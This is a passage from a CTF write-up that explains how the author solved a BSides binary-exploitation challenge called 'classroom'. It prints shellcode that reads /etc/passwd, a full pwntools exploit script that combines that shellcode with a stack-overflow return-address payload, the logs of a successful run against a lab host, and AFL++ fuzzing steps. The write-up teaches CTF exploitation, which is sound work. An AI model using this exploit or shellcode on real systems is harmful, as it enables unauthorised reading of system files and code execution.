  40101d:       48 89 e7                mov    rdi,rsp
  401020:       48 31 f6                xor    rsi,rsi
  401023:       0f 05                   syscall
  401025:       48 89 c3                mov    rbx,rax
  401028:       48 31 c0                xor    rax,rax
  40102b:       48 89 df                mov    rdi,rbx
  40102e:       48 89 e6                mov    rsi,rsp
  401031:       48 31 d2                xor    rdx,rdx
  401034:       66 ba 2c 01             mov    dx,0x12c
  401038:       0f 05                   syscall
  40103a:       48 31 c0                xor    rax,rax
  40103d:       fe c0                   inc    al
  40103f:       40 b7 01                mov    dil,0x1
  401042:       0f 05                   syscall
  401044:       48 31 c0                xor    rax,rax
  401047:       b0 3c                   mov    al,0x3c
  401049:       48 31 ff                xor    rdi,rdi
  40104c:       0f 05                   syscall
~/D/W/b/pwn $ 

We’ll use Shellcode-Extractor to extract the bytecode out of the object file and test it.

~/D/W/b/pwn $ objdump -d open-read-write.o | python3 shellcode_extractor.py 

\x68\x32\x36\x25\x41\x81\x34\x24\x41\x41\x41\x41\x49\xbe\x2f\x65\x74\x63\x2f\x70\x61\x73\x41\x56\x48\x31\xc0\xb0\x02\x48\x89\xe7\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48\x31\xc0\x48\x89\xdf\x48\x89\xe6\x48\x31\xd2\x66\xba\x2c\x01\x0f\x05\x48\x31\xc0\xfe\xc0\x40\xb7\x01\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05

Lenght: 78

~/D/W/b/pwn $ gcc shellcode_tester.c
~/D/W/b/pwn $ ./a.out 
root@wildwest:/opt/Shellcode-Extractor# ./a.out               
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:                                                                                                                                                                                                    

As a final step we’ll update sploit.py with the shellcode and the length

shellcode = b'\x68\x32\x36\x25\x41\x81\x34\x24\x41\x41\x41\x41\x49\xbe\x2f\x65\x74\x63\x2f\x70\x61\x73\x41\x56\x48\x31\xc0\xb0\x02\x48\x89\xe7\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48\x31\xc0\x48\x89\xdf\x48\x89\xe6\x48\x31\xd2\x66\xba\x2c\x01\x0f\x05\x48\x31\xc0\xfe\xc0\x40\xb7\x01\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05'

payload1 = fit({
    0: shellcode
    }, filler=b'\x90', length=78)
print(hexdump(payload1))

And run it, for one last time.

~/D/W/b/pwn $ python3 sploit.py DEBUG
[*] '/home/kidd/Desktop/WORK/bsides24/pwn/classroom'
...[snip]...
[+] Opening connection to 192.168.13.37 on port 8000: Done
[*] Paused (press any to continue)
[DEBUG] Received 0x7e bytes:
    00000000  4b 69 64 73  20 6d 75 73  74 20 66 6f  6c 6c 6f 77  │Kids│ mus│t fo│llow│
    00000010  20 74 68 65  20 72 75 6c  65 73 21 0a  31 2e 20 4e  │ the│ rul│es!·│1. N│
    00000020  6f 20 63 68  65 61 74 69  6e 67 21 20  20 20 e2 9d  │o ch│eati│ng! │  ··│
    00000030  8c 0a 32 2e  20 4e 6f 20  73 77 65 61  72 69 6e 67  │··2.│ No │swea│ring│
    00000040  21 20 20 20  e2 9d 8c 0a  33 2e 20 4e  6f 20 f0 9f  │!   │····│3. N│o ··│
    00000050  9a a9 20 73  68 61 72 69  6e 67 21 20  e2 9d 8c 0a  │·· s│hari│ng! │····│
    00000060  0a 49 73 20  65 76 65 72  79 74 68 69  6e 67 20 63  │·Is │ever│ythi│ng c│
    00000070  6c 65 61 72  3f 20 28 79  2f 6e 29 0a  3e 20        │lear│? (y│/n)·│> │
    0000007e
[DEBUG] Sent 0x4f bytes:
    00000000  68 32 36 25  41 81 34 24  41 41 41 41  49 be 2f 65  │h26%│A·4$│AAAA│I·/e│
    00000010  74 63 2f 70  61 73 41 56  48 31 c0 b0  02 48 89 e7  │tc/p│asAV│H1··│·H··│
    00000020  48 31 f6 0f  05 48 89 c3  48 31 c0 48  89 df 48 89  │H1··│·H··│H1·H│··H·│
    00000030  e6 48 31 d2  66 ba 2c 01  0f 05 48 31  c0 fe c0 40  │·H1·│f·,·│··H1│···@│
    00000040  b7 01 0f 05  48 31 c0 b0  3c 48 31 ff  0f 05 0a     │····│H1··│<H1·│···│
    0000004f
[DEBUG] Received 0x32 bytes:
    b'\n'
    b'Alright! Do you have any more questions? (y/n)\n'
    b'> '
...[snip]...
    b'Enough questions for today class...\n'
    b'Well, maybe a last one and then we finish!\n'
    b'> '
[DEBUG] Sent 0x190 bytes:
    00000000  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000080  90 90 90 90  90 90 90 90  0c 09 40 00  00 00 00 00  │····│····│··@·│····│
    00000090  90 90 90 90  90 90 90 90  90 90 90 90  90 90 90 90  │····│····│····│····│
    *
    00000190
[+] Receiving all data: Done (358B)
[DEBUG] Received 0x3a bytes:
    00000000  57 68 61 74  20 61 72 65  20 79 6f 75  20 64 6f 69  │What│ are│ you│ doi│
    00000010  6e 67 20 68  65 72 65 3f  21 20 4b 69  64 73 20 61  │ng h│ere?│! Ki│ds a│
    00000020  72 65 20 6e  6f 74 20 61  6c 6c 6f 77  65 64 20 68  │re n│ot a│llow│ed h│
    00000030  65 72 65 21  20 f0 9f 94  9e 0a                     │ere!│ ···│··│
    0000003a
[DEBUG] Received 0x12c bytes:
    b'root:x:0:0:root:/root:/bin/bash\n'
    b'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n'
    b'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n'
    b'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n'
    b'sync:x:4:65534:sync:/bin:/bin/sync\n'
    b'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n'
    b'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n'
    b'lp:x:7:7:lp:/va'
[*] Closed connection to 192.168.13.37 port 8000
/home/kidd/.local/lib/python3.11/site-packages/pwnlib/log.py:347: BytesWarning: Bytes is not text; assuming UTF-8, no guarantees. See https://docs.pwntools.com/#bytes
  self._log(logging.INFO, message, args, kwargs, 'success')
[+] What are you doing here?! Kids are not allowed here! 🔞
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/va
~/D/W/b/pwn $ 

Excellent!

Outro

If you made it this far thank you for staying :)

There are two optional parts that you may enjoy as well exactly below.

Pwntools again

Pwntools is such a versatile tool. Using shellcraft it allows us to create shellcode using abstracted notations instead of assembly, which, arguably, is way less convinient.

For example, one could recreate the above shellcode using pwnlib. Crafting and testing the shellcode listed above would be as simple as:

~/D/W/b/pwn $ ipython3
Python 3.11.9 (main, Apr 10 2024, 13:16:36) [GCC 13.2.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 8.20.0 -- An enhanced Interactive Python. Type '?' for help.

In [1]: from pwn import *                                                        # import the library
   ...: context(arch='amd64', os='linux', endian='little', word_size=64)         # setting the execution context 
   ...: context.log_level = 'debug'
   ...: #p = run_shellcode(asm(pwnlib.shellcraft.amd64.readfile("/etc/passwd", 2)))
   ...: p = run_shellcode(
   ...:   asm(                                                                   # we need to assembly the following opcodes
   ...:     shellcraft.pushstr("/etc/passwd") +                                  # push the filname to the stack
   ...:     shellcraft.mov('rdi', 'rsp') +                                       # copy the rsp addy to the rdi
   ...:     shellcraft.syscall('SYS_open', 'rdi', 0) +                           # call open() with arguments
   ...:     shellcraft.mov('rbx', 'rax') +                                       # store file descriptor                
   ...:     shellcraft.syscall('SYS_read', 'rbx', 'rsp', 300) +                  # call read() with arguments
   ...:     shellcraft.syscall('SYS_write', '1', 'rsi', 300) +                   # call write() with arguments
   ...:     shellcraft.syscall('SYS_exit', '0')))                                # be seeing 'ya
   ...: p.recvall()                                                              # receive all process output
[DEBUG] cpp -C -nostdinc -undef -P -I/home/kidd/.local/lib/python3.11/site-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
        /* push b'/etc/passwd\x00' */
        push 0x1010101 ^ 0x647773
        xor dword ptr [rsp], 0x1010101
        mov rax, 0x7361702f6374652f
        push rax
        mov rdi, rsp
        /* call open('rdi', 0) */
        push 2 /* 2 */
        pop rax
        xor esi, esi /* 0 */
        syscall
        mov rbx, rax
        /* call read('rbx', 'rsp', 0x12c) */
        xor eax, eax /* SYS_read */
        mov rdi, rbx
        xor edx, edx
        mov dx, 0x12c
        mov rsi, rsp
        syscall
        /* call write('1', 'rsi', 0x12c) */
        push 1 /* 1 */
        pop rax
        push (1) /* 1 */
        pop rdi
        xor edx, edx
        mov dx, 0x12c
        syscall
        /* call exit('0') */
        push 60 /* 0x3c */
        pop rax
        xor edi, edi /* (0) */
        syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-uu_n8ey0/step2 /tmp/pwn-asm-uu_n8ey0/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-uu_n8ey0/step3 /tmp/pwn-asm-uu_n8ey0/step4
[DEBUG] Building ELF:
    .section .shellcode,"awx"
    .global _start
    .global __start
    _start:
    __start:
    .intel_syntax noprefix
    .p2align 0
    .string "\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe7\x6a\x02\x58\x31\xf6\x0f\x05\x48\x89\xc3\x31\xc0\x48\x89\xdf\x31\xd2\x66\xba\x2c\x01\x48\x89\xe6\x0f\x05\x6a\x01\x58\x6a\x01\x5f\x31\xd2\x66\xba\x2c\x01\x0f\x05\x6a\x3c\x58\x31\xff\x0f\x05"
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-5d8c563a/step2-obj /tmp/pwn-asm-5d8c563a/step1-asm
[DEBUG] /usr/bin/x86_64-linux-gnu-ld --oformat=elf64-x86-64 -EL -z execstack --no-warn-execstack --no-warn-rwx-segments -o /tmp/pwn-asm-5d8c563a/step3-elf /tmp/pwn-asm-5d8c563a/step2-obj
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -Sg /tmp/pwn-asm-5d8c563a/step3-elf
[DEBUG] /usr/bin/x86_64-linux-gnu-strip --strip-unneeded /tmp/pwn-asm-5d8c563a/step3-elf
[DEBUG] '/tmp/pwn-asm-5d8c563a/step3-elf' is statically linked, skipping GOT/PLT symbols
[*] '/tmp/pwn-asm-5d8c563a/step3-elf'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      No PIE (0x400000)
    Stack:    Executable
    RWX:      Has RWX segments
[x] Starting local process '/tmp/pwn-asm-5d8c563a/step3-elf'
[+] Starting local process '/tmp/pwn-asm-5d8c563a/step3-elf': pid 6550
[x] Receiving all data
[x] Receiving all data: 0B
[*] Process '/tmp/pwn-asm-5d8c563a/step3-elf' stopped with exit code 0 (pid 6550)
[DEBUG] Received 0x12c bytes:
    b'root:x:0:0:root:/root:/usr/bin/zsh\n'
    b'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n'
    b'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n'
    b'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n'
    b'sync:x:4:65534:sync:/bin:/bin/sync\n'
    b'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n'
    b'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n'
    b'lp:x:7:7:lp:'
[x] Receiving all data: 300B
[+] Receiving all data: Done (300B)
Out[1]: b'root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:'

Updating sploit.py we get:

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 192.168.13.37 --port 8000 ./classroom
from pwn import *

# context.log_level = 'debug'

# Set up pwntools for the correct architecture
exe = context.binary = ELF(args.EXE or './classroom')

# Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141 EXE=/tmp/executable
host = args.HOST or '192.168.13.37'
port = int(args.PORT or 8000)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)
        # return process('strace ./classroom', shell=True)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Full RELRO
# Stack:    No canary found
# NX:       NX unknown - GNU_STACK missing
# PIE:      No PIE (0x400000)
# Stack:    Executable
# RWX:      Has RWX segments

# shellcode = '' # shellcode placeholder
# shellcode = asm(pwnlib.shellcraft.amd64.readfile("/etc/passwd", 2))
# shellcode = b'\x68\x32\x36\x25\x41\x81\x34\x24\x41\x41\x41\x41\x49\xbe\x2f\x65\x74\x63\x2f\x70\x61\x73\x41\x56\x48\x31\xc0\xb0\x02\x48\x89\xe7\x48\x31\xf6\x0f\x05\x48\x89\xc3\x48\x31\xc0\x48\x89\xdf\x48\x89\xe6\x48\x31\xd2\x66\xba\x2c\x01\x0f\x05\x48\x31\xc0\xfe\xc0\x40\xb7\x01\x0f\x05\x48\x31\xc0\xb0\x3c\x48\x31\xff\x0f\x05'
shellcode = asm(
    shellcraft.pushstr("/etc/passwd") +
    shellcraft.mov('rdi', 'rsp') +
    shellcraft.syscall('SYS_open', 'rdi', 0) + 
    shellcraft.mov('rbx', 'rax') + # store file descriptor
    shellcraft.syscall('SYS_read', 'rbx', 'rsp', 300) + 
    shellcraft.syscall('SYS_write', '1', 'rsi', 300) + 
    shellcraft.syscall('SYS_exit', '0')
)

payload1 = fit({
    0: shellcode
    }, filler=asm(shellcraft.nop()), length=78)
print(hexdump(payload1))

payload2 = fit({
    136: p64(0x40090c)
    }, filler=asm(shellcraft.nop()), length=400)
print(hexdump(payload2))

io = start()

# shellcode = asm(shellcraft.sh())
# payload = fit({
#     32: 0xdeadbeef,
#     'iaaa': [1, 2, 'Hello', 3]
# }, length=128)
# io.send(payload)
# flag = io.recv(...)
# log.success(flag)

pause()

io.recvuntil(b'> ')    # receive everything until prompt
io.sendline(payload1)  # send payload1 at the `Is everything clear? (y/n)` question
io.recvuntil(b'> ')    # continue receiving and sending data until the 5th question 
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')
io.sendline(b'y')
io.recvuntil(b'> ')    # `Well, maybe a last one and then we finish!` prompt
io.send(payload2)      # send payload2
flag = io.recvall()
log.success(flag)

#io.interactive()

And here is a full run in all it’s glory.

Fuzzing with AFL

Now, say that you are absolutely not gonna bother with trying to find the crash. Just ain’t. Allergic to ghidra kind of attitude.

You can use AFLplusplus to help you fuzz the binary and identify input that leads to interesting paths.

Setting it up these days is really straight forward, or you can use a simple docker pull aflplusplus/aflplusplus:latest. In any case, for black-box fuzzing, which we will be performing, you are going to need to build qemu support using /AFLplusplus/qemu_mode/build_qemu_support.sh.

You’ll also need to pull the binary in the container, and create the appropriate directory structure (in/out).

What you can also do is build interesting input files for AFL. Although we can go literally nuts here, we will try to keep it simple.

First, create some test files of variable length (from 1 to 500).

for((i=0;i<=500;i+=64)); do python3 -c "print('A'* $i )" | tee ./in/crash-AAAA-$i ; done

In addition, and to speed things up, knowing that the binary accepts a bunch of ys initially, we can make an educated guess and create some input files that can assist AFL to find interesting paths faster.

for((i=0;i<=500;i+=64)); do python3 -c "print('y'* $i )" | tee ./in/crash-yyyy-$i ; done

Running AFLplusplus should result in usable crash cases almost instantly. As in, for example, in the screencast below where we are having 5 usable crashe cases in less that 30”.

EOF

  1. And ok, yeah, it was not a big event, nor was the CTF any larger. But only 3 solves? What’s the play here? Everybody else is killing it out there in CTFs and IRL, and we are doing what exactly? Yes, there are teams from GR that are having success in global events, of course. But how are these teams seeded if in entry level events we are failing at the obvious? How is this not a problem, both for the scene and the security industry altogether? 

Tags: ,

Categories:

Updated: